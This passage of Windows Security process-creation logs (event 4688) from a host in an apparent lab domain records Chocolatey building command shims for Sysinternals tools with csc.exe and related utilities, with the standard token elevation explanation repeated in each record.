Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246806
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd14
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsService64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_3332\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246805
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5e4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd14
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246804
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd14
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsService64.exe" --output="C:\ProgramData\chocolatey\bin\PsService64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsService64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246803
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFF98.tmp" "c:\ProgramData\chocolatey\bin\CSCE34F8F8D90C14BB58ED4EDD3A49B7EFB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246802
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb24
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xaf4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246801
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\PsService.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123423_1144\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246800
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x844
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc08
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246799
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc08
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\PsService.exe" --output="C:\ProgramData\chocolatey\bin\PsService.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\PsService.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:17 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246798
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFECD.tmp" "c:\ProgramData\chocolatey\bin\CSCD32E47E3CC26417EA3CE8B137F5D392D.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246845
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x360
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xc74
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246844
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc74
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ru.exe" --output="C:\ProgramData\chocolatey\bin\ru.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ru.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246843
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES66E.tmp" "c:\ProgramData\chocolatey\bin\CSCBA21BC9A2B8F41EEBFC344D887E8BADA.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246842
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xef0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246841
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb80
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\regjump.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123424_8644\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246840
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb48
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb80
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246839
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb80
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\regjump.exe" --output="C:\ProgramData\chocolatey\bin\regjump.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\regjump.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246838
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RES5A3.tmp" "c:\ProgramData\chocolatey\bin\CSC855FC36B868A488BAAAE2C9F74EC4F13.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:18 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
